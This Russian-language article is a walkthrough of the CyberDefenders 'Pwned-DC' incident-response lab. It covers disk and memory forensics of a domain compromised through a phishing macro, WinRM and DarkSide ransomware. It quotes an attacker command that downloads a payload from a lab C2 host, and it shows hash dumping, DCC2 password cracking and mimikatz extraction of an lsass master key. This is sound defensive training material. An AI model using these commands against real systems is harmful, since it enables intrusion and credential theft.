Статья Исследуем дампы и ищем следы взлома в системе

[baykal]

Сегодня я расскажу, как извлекать данные из таблицы MFT, получать информацию из файлов Prefetch и монитора использования системных ресурсов (srum), а еще — анализировать файлы логов операционной системы. При исследовании образа оперативной памяти мы познакомимся с внутренним устройством памяти Windows и найдем артефакты, свидетельствующие о компрометации системы.

Расследование киберинцидентов — это очень увлекательное занятие, требующее определенных знаний и навыков. Отточить их помогают специальные лабораторные работы, имитирующие реальные случаи успешных атак злоумышленников и взлома, с которыми встречаются на практике специалисты по информационной безопасности. Сегодня мы разберем лабораторную работу Pwned-DC с ресурса CyberDefenders.

По сценарию лабораторной работы произошел взлом Active Directory, злоумышленники смогли захватить корпоративный контроллер домена. Наша задача — провести расследование инцидента и узнать, как хакерам удалось проникнуть в сеть. Для исследования у нас имеется побитовая копия системного диска скомпрометированной машины, оперативной памяти, а также информация об объектах домена.

Загрузим файл образов и начнем их исследовать.

По результатам разбора этой лабораторной необходимо ответить на ряд вопросов, но я покажу только само решение и не буду озвучивать ответы. Тебе придется повторить весь процесс самостоятельно — так ты лучше поймешь и закрепишь материал.

ИНСТРУМЕНТЫ​

1. Утилиты Eric Zimmerman: Registry Explorer, MFTECmd.
2. Утилиты Nirsoft: fulleventlogview, winprefetchview, browsinghistoryview, TurnOnTimesView.
3. R-Studio — утилита для восстановления данных с диска.
4. Volatility Framework 2.6.1 — инструмент, реализованный на Python версии 2 и предназначенный для извлечения артефактов из образцов энергозависимой памяти.
5. PST-Extractor — инструмент для восстановления PST-контейнеров в EML.
6. Scdbg — программа для анализа shell-кода.
7. Srum-dump — утилита для извлечения информации из базы данных управления использованием системных ресурсов.
8. FTK Imager — инструмент для анализа и получения образов диска.
9. WinDBGx64 — утилиты для анализа аварийных дампов.
10. Olevba — инструмент для извлечения и анализа исходного кода макросов VBA из документов MS Office (OLE и OpenXML).

ПЛАГИНЫ VOLATILITY2 ДЛЯ ИЗВЛЕЧЕНИЯ ДАННЫХ​

1. Imageinfo — плагин для определения операционной системы, пакета обновлений и аппаратной архитектуры исследуемого образа.
2. Pstree позволяет просматривать список процессов в виде дерева.
3. Memdump извлекает все резидентные страницы памяти в процессе.
4. Filescan — плагин для поиска объектов FILE_OBJECT в памяти с помощью сканирования тегов пула. Этот плагин найдет все открытые файлы.
5. Dumpfiles извлекает кешированные файлы из образа памяти.
6. Netscan ищет сетевые артефакты в 32- и 64-разрядных дампах памяти. Этот плагин находит конечные точки TCP, UDP, а также локальные и удаленные IP-адреса.
7. Printkey ищет значения в указанном разделе реестра Windows.
8. Userassist позволяет получить информацию из ключа реестра UserAssist.
9. Mftparser — этот плагин сканирует записи главной таблицы файлов (MFT) в памяти и выводит информацию о временных метках файлов.
10. Autoruns — подключаемый плагин для поиска точек сохранения исполняемых файлов в системе. Для его подключения необходимо добавить плагин в каталог plugins инструмента Volatility.
11. Volshell — плагин для интерактивного изучения образа памяти, использует IPython.
12. Procdump — плагин для получения дампа исполняемого файла.
13. Hivelist — плагин для поиска виртуальных адресов кустов реестра.

ОБЪЕКТЫ ДОМЕНА​

В архиве задания содержится файл 20211122102526.zip, который хранит информацию об объектах домена. Загрузим его в BloodHound версии 4.0.1.

Перейдем на вкладку Analysyis → Find Shotest Paths to Domain Admins и проанализируем короткий путь до компрометации контроллера домена.

Задача злоумышленника в сети организации — получить доступ к учетной записи пользователя 0xMohammed, который входит в группу Domain Admins.

ОБРАЗ ДИСКА AD.E01​

Примонтируем файл побитовой копии диска AD.E01 и извлечем из него необходимые артефакты. Для этого откроем утилиту FTK Imager, перейдем на вкладку File → Image Mounting. В поле Image File выберем образ AD.E01, а затем введем указанные ниже настройки.

Нажимаем Mount — исследуемый образ должен примонтироваться к файловой системе.

Получим информацию из кустов реестра SYSTEM и SOFTWARE (C:\Windows\System32\config), загрузим их в утилиту Registry Explorer. Затем переходим в раздел File -> Load hive и выбираем исследуемый файл.

Чтобы получить информацию об операционной системе, перейдем в ключ реестра SOFTWARE\Microsoft\Windows NT\CurrentVersion.

Версия операционной системы — Windows 10 Enterprise 2016 LTSB. Теперь просмотрим ключ реестра SYSTEM\ControlSet01\Control\ComputerName\ComputerName и получим информацию об имени компьютера.

Имя компьютера: PC01.

Теперь откроем ключ реестра SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{ea202436-8a31-4cb6-9b59-5be0c2bc1692} и получим информацию о сетевых настройках.

IP-адрес исследуемого хоста — 192.168.112.142.

Получим информацию о примонтированных дисках. Для этого перейдем в ветку реестра SYSTEM\MountedDevices: нас интересует GUID диска C.

Как видно из рисунка выше, GUID диска C — fad905b3-fb35-4dbd-ab31-a44f022809d2, такую же информацию можно получить из логов системы, просмотрев событие eventid 142 журнала Microsoft-Windows-Ntfs/Operational.

Теперь найдем порты служб на PC01, для этого перейдем к файлу Windows/System32/drivers/etc/services.

Здесь мы можем увидеть, что служба Remote Man Server работает на порте 9535. Проанализируем файл System.evtx и найдем отметку времени, когда произошло незапланированное отключение, а также узнаем, сколько времени проработал компьютер. Для этого можно воспользоваться утилитой TurnOnTimesView, либо придется анализировать лог вручную.

21.11.2021 питание машины незапланированно отключилось, до этого компьютер проработал 11 часов и 31 минуту (об этом говорит значение 11:31).

Начнем анализировать логи. Для этого откроем утилиту fulleventlogview, нажмем Choose Data Store → Load events from external folder with log files и укажем путь к папке с логами Windows\System32\winevt\Logs.

Отфильтруем логи по событию 4624 и посмотрим, кто авторизовывался в системе последний раз перед инцидентом. Для этого переходим на вкладку Options → Advanced Options, выбираем Show only the specified events IDs и вводим наше событие.

23.11.2021 в 23:36:05 UTC пользователь 0xMohammed авторизовался в системе — это был последний зарегистрированный логин перед взломом.

Проанализируем историю браузера Firefox пользователя labib. Для этого воспользуемся утилитой BrowsingHistoryView: перейдем на вкладку Options → Advanced Options и укажем путь до пользовательского каталога.

Пользователь labib 22.11.2021 в 19:45:52 UTC посетил сайт bluedemy.cyberdefenders.org.

Проанализируем базу данных управления использованием системных ресурсов (srum), которая присутствует в современных системах Windows и собирает статистику выполнения двоичных файлов. Эта база хранится в файле C:\Windows\System32\sru\\RUDB.dat. С использованием утилиты srum-dump проанализируем srum и найдем, сколько байтов было принято браузером Firefox.

Не забываем также указать файл SRUM_TEMPLATE.xlsx, который загружаем из репозитория утилиты.

Открываем выходной файл SRUM_DUMP_OUTPUT.xlsx, переходим на лист Network Data Usage, находим firefox.exe и анализируем таблицу. Количество полученных данных — 20418287.

Теперь посмотрим, какие последние файлы запускал пользователь labib. Переходим по пути С/Users/labib/AppData/Roaming/Microsoft/Windows/Recent/ и в этом каталоге находим файл 20211119103954_BloodHound.lnk, созданный 19.11.2021.

В ссылке на файл указан путь к архиву C:\Users\labib\Desktop\20211119103954_BloodHound.zip., содержащий информацию об объектах домена. Эта информация собиралась для анализа в BloodHound.

Проанализируем MFT с помощью утилиты MFTECmd. Из корня файловой системы извлечем файл $MFT, это можно сделать с помощью R-Studio или FTKImager.

В каталоге Users/labib/Desktop создан файл Business.xlsx с меткой времени 22.11.2021 22:40:06, этот файл содержит информацию о пользователях домена и их деятельности в компании. Найдем указанный файл в таблице MFT:

MFTECmd.exe -f "C:\Users\DonNod\Downloads\AD-101\AD-E01\MFT" --csv "AD-101\AD-E01"

В файле вывода утилиты MFTECmd обнаруживаем Business.xlsx и его поле LogfileSequenceNumber, которое имеет значение 1422361276.

Попробуем получить пароль пользователя 0xMohammed, который входит в группу администраторов домена. Выгрузим ветки реестра SAM, SYSTEM, SECURITY и вытащим из них хеши пользователей. Для этого воспользуемся скриптом secretdum.py из пакета Impacket.

На хосте PC01 авторизовывался доменный пользователь 0xMohammed, его данные сохранены в кеше. С помощью утилиты hashcat сбрутим mccache2 хеша пользователя 0xMohammed:

$DCC2$10240#0xMohammed#e7b8d19008520207ca8ef94680db0f28

В результате этой операции выясняется, что его пароль — 0xmohammed!.

Теперь попытаемся узнать, как злоумышленник скомпрометировал хост PC01. Анализируя файлы, в каталоге C:\Users\labib\Documents\Outlook Files\Outlook.pst пользователя labib мы обнаруживаем почтовый контейнер Outlook. Преобразуем контейнер в eml-сообщения, для этого откроем утилиту PST-Xtracrot, загрузим в нее контейнер и нажмем Convert. После этого можно проанализировать все сообщения антивирусными средствами, чтобы поискать вредоносные вложения.

Среди сообщений пользователя мы обнаруживаем вредоносное вложение. Сообщение отправлено 12/08/2021 04:47:49 AM UTC с почтового сервера 159.65.58.195. В качестве вложения используется файл Unpaid Invoice.xls. Выясним, когда пользователь открыл этот файл.

С помощью утилиты winprefetchview исследуем артефакт Prefetch. Для этого нажмем Options → Advanced Options и выберем расположение файлов prefetch скомпрометированного компьютера: <wbr>Windows<wbr>Prefetch. Файлы Prefetch содержат имя исполняемого файла, количество его запусков, метки времени, а также список файлов и каталогов, с которыми взаимодействовал исполняемый файл.

Поле Last Run содержит дату последних семи запусков. Как видно из рисунка выше, пользователь открыл файл Unpaid Invoice.xls, при этом последняя метка времени запуска приложения Excel.exe — 22.11.2021 в 19:38:16 UTC. Осталось выяснить, что представляет собой вредоносный файл Unpaid Invoice.xls, по его MD5: 650cf937046ce0c755a217ae8a60611d.

Файл содержит VBA-скрипт. Вытащим его с помощью olevba. При запуске появляются ошибки, поэтому мы запустим утилиту с параметром --show-pcode. Техника встраивания вредоносного кода в содержащий макрос документ называется Stomping VBA.

olevba --show-pcode Unpaid\ Invoice.xls

Извлечем p-code, найдем шелл и проанализируем его.

Преобразуем его в следующий формат и сохраним в файл sc.

Проанализируем полученный файл с помощью утилиты scdbg.

scdbg /f sc

После запуска документа Unpaid Invoice.xls устанавливается обратная оболочка с управляющим сервером 192.168.112.128:8080, после чего злоумышленник может выполнять команды на скомпрометированном компьютере.

Приступим к анализу логов операционной системы и выясним, какие еще действия совершил злоумышленник в системе. Откроем утилиту fulleventlogview, перейдем на вкладку File → Choose Data Source и укажем путь к файлам логов: Windows\System32\winevt\Logs.

Проанализируем сначала логи антивируса Windows Defender. Мы сразу же обнаруживаем событие c идентификатором 1116 (MALWAREPROTECTION_STATE_MALWARE_DETECTED), которое свидетельствует об обнаружении вредоносного файла.

Пользователь 0xMohammed пытался открыть файл по пути \\vmware-host\Shared Folders\asd\note.txt в блокноте. Windows Defender обнаружил вредоносный файл и классифицировал его как Exploit:Win32/ShellCode.BN (каталог расположения файла asd).

Предположительно запуск вредоносного документа Unpaid Invoice.xls произошел 22.11.2021 19:38 UTC, с этого момента мы и начнем анализировать логи. В 20:26:03 UTC была запущена оболочка Windows PowerShell (события имеют идентификаторы 400 и 600), далее начинается выполнение команды.

После выполнения обратной оболочки в файле Unpaid Invoice.xls злоумышленник получил доступ к компьютеру, затем он начал выполнять команды PowerShell, показанные на рисунке выше. Извлечем их из логов и преобразуем в текстовый вид.

Злоумышленник запустил новую оболочку PowerShell от имени пользователя labib для устойчивого доступа к скомпрометированному компьютеру с IP-адресом 192.168.112.128, на порте 1337. Далее взломщик пытался авторизоваться на хосте DC01 c учетными данными пользователя labib. В 21:20:29 зафиксировано событие 4648 — авторизация на компьютере DC01 от пользователя labib, имя процесса PowerShell.exe.

В 21:20:46 также зафиксированы попытки входа на PC01 с адреса 192.168.112.128, авторизоваться пытался тот же пользователь labib.

В 21:51:15 UTC от имени пользователя labib выполнен скрипт Invoke-ACLPwn.ps1. Этот скрипт предназначен для удаления списков ACL в Active Directory, настроенных небезопасно, а также для сбора данных об объектах домена.

Для получения доступа к компьютеру DC01 злоумышленнику необходимо завладеть учетной записью пользователя 0xMohammed, который входит в группу Domain Admins. В 22:56:23 UTC обнаружено подключение к DC01 c помощью службы WinRM, идентификатор события 6.

В 22:58:44 UTC зафиксировано событие авторизации на хосте DC01, при этом были введены учетные данные пользователя 0xMohammed.

С этого момента злоумышленник выполнял команды PowerShell уже от имени пользователя 0xMohammed. В 23.11.2021 13:32:44 UTC доменный пользователь CYBERDEFENDERS\0xMohammed зарегистрировал задачу MicrosoftEdge, идентификатор события 106. Найдем эту задачу в каталоге Windows\System32\Tasks\MicrosoftEdge.

Согласно матрице MITRE ATT&CK, такая техника атаки называется T1053.005, атакующий использовал управляющий сервер c2.cyberdefenders.org.

Теперь проверим историю команд PowerShell. Для пользователя administrator в файле C:/Users/administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt хранится следующая информация.

При исследовании артефактов, извлеченных из побитовой копии образа хоста PC01, удалось восстановить ход взлома. С помощью фишингового письма, содержащего шелл‑код с адресом управляющего сервера 192.168.112.128:8080, злоумышленники получили доступ к компьютеру от имени пользователя labib. Затем они собрали информацию о домене и скомпрометировали учетные данные администратора домена 0xMohammed. Для доступа к хосту DC01 атакующие использовали службу WinRM и удаленное выполнение команд PowerShell.

ОБРАЗ ОПЕРАТИВНОЙ ПАМЯТИ ХОСТА DC01​

При исследовании образа оперативной памяти мы научимся выявлять артефакты удаленного выполнения кода службы WinRM, познакомимся с важными структурами исполняемых объектов памяти Windows, узнаем, как их анализировать, и выясним, что сделал злоумышленник на скомпрометированном компьютере.

Для начала получим информацию об исследуемом профиле и имени компьютера.

python2.7 vol.py -f memory.dmp imageinfo

Профиль образа — Win2016x64_14393. Теперь получим информацию из ключа реестра SYSTEM\ControlSet001\Control\ComputerName\ComputerName.

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 printkey -K “SYSTEM\ControlSet001\Control\ComputerName\ComputerName”

Получим адрес ветки реестра SOFTWARE:

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 hivelist

Адрес ветки SOFTWARE — 0x00000000040f7000.

Можно приступать к анализу процессов. Для этого воспользуемся плагином pstree, а результат выполнения сохраним в файл.

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 pstree > pstree.txt

Из рисунка выше видно, что процесс svchost.exe (идентификатор 512) породил экземпляр процесса wsmprovhost.exe (идентификатор 1632), который является хост‑процессом для подключаемых модулей службы WinRM. Команды PowerShell злоумышленника удаленно выполнялись в контексте процесса wsmprovhost.exe (идентификатор 1632). Также процесс 1632 создал дочерний процесс svchost.exe. Из полученного анализа можно сделать вывод, что злоумышленники получили доступ к компьютеру DC01, используя возможности службы WinRM.

Качественный анализ поиска удаленного выполнения команд PowerShell описан в статье Investigating PowerShell Attacks.

Службы WinRM для взаимодействия используют протокол WS-Management, который отправляет сообщения SOAP в потоке XML-сообщений. Их структура представлена в документации. Получим все резидентные страницы памяти процесса wsmprovhost.exe (идентификатор 1632) и извлечем из него все XML-объекты, в которых передаются команды PowerShell службы WinRM.

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 memdump -p 1632 -D .

Все найденные XML-объекты сохраним в файл. Затем в структуре XML-документа найдем поле <S N="History">:

strings 1632.dmp | grep -i '<Obj RefId="0">' > objectPS

Для загрузки файла svchost.exe используется следующая команда PowerShell: Invoke-WebRequest http://192.168.112.128:8000/svchost.exe -OutFile svchost.exe. Спускаемся ниже и видим запуск данного файла.

Иногда сложно найти вредоносный процесс в памяти Windows, в этом случае можно получить дампы всех процессов в системе и проверить их с помощью антивируса.

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 procdump -D procdmp/

Процесс svchost.exe, идентификатор `3140, вредоносный и относится к семейству шифровальщиков DarkSide. Получим информацию о привилегиях этого процесса в системе, для чего воспользуемся плагином privs.

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 privs -p 3140

Количество привилегий по умолчанию у этого вредоносного процесса — 25. Давай проведем глубокий анализ вредоносного процесса 3140, но прежде немного поговорим о структурах исполняемых объектов в памяти.

Найдем поле PoolTag структуры _POOL_HEADER исследуемого процесса. В памяти Windows есть следующие криминалистически важные исполняемые объекты: _FILE_OBJECT — экземпляр открытого файла, представляющий доступ процесса или модуля ядра к файлу, _EPROCESS — структура процесса в памяти, _TOKEN, _ETHREAD и многое другое.

Описание структуры памяти Windows представлено в книге The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory.


Каждый исполняемый объект Windows хранится в следующей структуре.

Пул ядра — это диапазон памяти, который можно разделить на мелкие блоки для хранения данных любого типа.

Структура _POOL_HEADER содержит элемент PoolTag — состоящеиз ASCII-символов четырехбайтовое значение. Этот элемент создан Microsoft для отладки и аудита ядра. Элемент PoolTag может иметь значения Proc, Thrd, File и другие. Многие плагины Volatility для поиска объектов в памяти используют метод сканирования PoolTag, чтобы находить скрытые и завершенные процессы, а также руткиты. Размер структуры _POLL_HEADER составляет 10 байт.

Структура _OBJECT_HEADER общая для всех типов исполняемых объектов. Размер Optional Header в структуре пула исполняемого объекта определяется в зависимости от содержимого поля InfoMask.

Наша задача — найти содержимое элемента PoolTag в структуре _POOL_HEADER вредоносного процесса svchost.exe (идентификатор 3140). Для этого необходимо перейти к адресу структуры _EPROCESS, далее в структуре _OBJECT_HEADER найти элемент InfoMask, чтобы определить размер Optional Header, и перейти на адрес структуры _POOL_HEADER. Для этого воспользуемся плагином volshell.

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 volshell -p 3140

Далее получим адрес структуры _EPROCESS.

proc()

Адрес исследуемого процесса — 0xFFFFBA03419B7800.

Теперь получим содержимое структуры _OBJECT_HEADER. Для этого из адреса 0xFFFFBA03419B7800 вычтем 0x30 (размер _OBJECT_HEADER).

dt("_OBJECT_HEADER",0xFFFFBA03419B7800-0x30)

Значение поля InfoMask — 0x8, а значит, по таблице выше размер Optional Header составляет 0x20 байт.

Чтобы перейти на адрес структуры _POOL_HEADER вредоносного процесса svchost.exe, необходимо из адреса 0xFFFFBA03419B7800 вычесть 0x30 (размер _OBJECT_HEADER), 0x20 (размер Optional Header) и 0x10 (размер _POOL_HEADER).

dt("_POOL_HEADER",0xFFFFBA03419B7800-0x30-0x10-0x20)

Переводим значение PoolTag в шестнадцатеричное представление в обратном порядке представления байтов и получаем значение в кодировке ASCII MHML (0x4d 0x48 0x4d 0x4c).

Продолжим анализировать этот процесс с помощью плагина volshell и найдем содержимое кучи, в которой хранятся обрабатываемые процессом динамические данные. Каждая структура _EPROCESS содержит элемент Process Environment Block (PEB). PEB хранит полный путь к исполняемому файлу процесса, командную строку, которая запускает процесс, текущий рабочий каталог, а также указатели на кучи процесса.

Структура PEB присутствует в каждом процессе, который содержит в себе кучу. Наша задача — найти адреса данных, хранящихся в куче. Это и будет спрятанное 8-байтовое слово в памяти процесса. Нужно найти строки, содержащиеся в куче процесса: для этого нам необходимо получить адреса куч и вывести их содержимое. Можно воспользоваться плагином heaps, но он довольно прост в работе, поэтому попробуем восстановить нужные значения вручную.

python2.7 vol.py -fmemory.dmp --profile=Win2016x64_14393 volshell -p 3140

Получим из кучи процесса указатели на их содержимое. Вводим в строке vollshell следующее:

address_of_heaps = proc().Peb.ProcessHeaps.dereference()

Мы получили указатели, теперь циклом выведем их содержимое.

Мы обнаружили все данные, содержащиеся в куче. Скрытое 8-байтовое слово — c0n6r475.

Используя плагин yarascan, найдем все ссылки в памяти процесса. Для этого воспользуемся следующим регулярным выражением: /(https?:\/\/)?([\w\.-]+)([\/\w \.-]*)/.

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 yarascan -Y "/(https?:\/\/)?([\w\.-]+)([\/\w \.-]*)/" -p 3140

Анализируя ссылки процесса, мы обнаружили интересную строку с каким‑то ключом. Попробуем определить его содержимое. Для этого получим дамп всего адресного пространства процесса 3140:

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 memdump -p 3140  -D

И найдем значения key:

strings 3140.dmp | grep  'lsJTyy' -B 50 -A 10

Мы обнаружили требование о выкупе, которое оставил шифровальщик DarkSide. Найдем в образе памяти адрес смещения 567-байтового значения ключа Key:, для этого воспользуемся плагином yarascan:

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 yarascan -Y "lsJTyy" -p 3140

Шифровальщик сохранил 567-байтовый ключ в памяти по смещению 0x00b5f4a5. Получим список файлов в памяти и найдем файл svchost.exe.

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 filescan > filescan.txt

Преобразуем адрес в физическое смещение, для этого воспользуемся плагином volshell.

hex(addrspace().vtop(0x0000ba033f477bc0))

По физическому адресу 0x13c090bc0 в памяти хранится файл svchost.exe. Просмотрим содержимое структуры _FILE_OBJECT файла svchost.exe, виртуальный адрес которого — 0x0000ba033f477bc0. Для этого воспользуемся плагином volshell.

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 volshell
dt("_FILE_OBJECT",0x0000ba033f477bc0)

Преобразуем значение в элементе DeviceObject в шестнадцатеричное представление.

hex(18446667121827189856)

Адрес устройства, на котором сохранен шифровальщик svchost.exe, — 0xffffba033e631460.
Выгрузим исследуемый файл из файловой системы, в качестве адреса укажем адрес смещения.

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 dumpfiles -Q 0x13c090bc0  -D .

Загрузим любой из полученных файлов в утилиту PeStudio.

Внутреннее имя исполняемого файла svchost.exe — calimalimodumator.exe. Посмотрим таблицу импорта и найдем интересные функции WinAPI.

В таблице импорта находится WinAPI-функция GetLocaleInfoA: она используется для получения локали операционной системы. Проанализируем процесс lsass.exe и найдем мастер‑ключ.

Процесс Local Security Authority Subsystem Service (он же LSASS) предназначен для управления подсистемами аутентификации Windows. Для хранения аутентификационных данных в памяти используется механизм DPAPI (Windows Data Protection API), который шифрует пароли и любую другую важную информацию пользователя. Для расшифровки данных, зашифрованных через DPAPI, необходим мастер‑ключ, хеш и SID пользователя. Попробуем распарсить процесс lsass.exe и найдем мастер‑ключ пользователя 0xMohammed.

Используя плагин lsadump volatility, мне не удалось вытащить данную информацию. Воспользуемся утилитой Windbgx64. Загрузим файл memdump.dmp в Windbgx64, для этого перейдем на вкладку File → Open CrashDump. Все остальные действия будем производить в командной строке отладчика.

!analyze -v

Теперь загрузим mimikatz в WinDbg.

.load  mimikatz-master\x64\mimilib.dll

Найдем адрес структуры _EPROCESS процесса lsass.exe.

!process 0 0 lsass.exe

Переходим по адресу ffffba033ef746c0.

.process /r /p ffffba033ef746c0

Парсим lsass.exe.

!mimikatz

Находим пользователя 0xMohammed и видим следующую информацию.

Мастер‑ключ пользователя 0xMohammed — 1652c67aa6719519492e67d1b39cab91e7804eb26b259ff351b60df34ee808804314cbfbcf03afbf3bae3ef2790f2c363ca0a9c8791e0e80d490c26afe77c3be.

ВЫВОДЫ​

Мы исследовали образ оперативной памяти, познакомились со структурами _EPROCESS и _FILE_OBJECT, разобрались, как происходит сканирование пула тегов и какие данные там хранятся. Обнаружили, что злоумышленник получил доступ к компьютеру DC01 с помощью службы WinRM, а также вытащили переданные им команды PowerShell.

Автор @rayhunt454
xakep.ru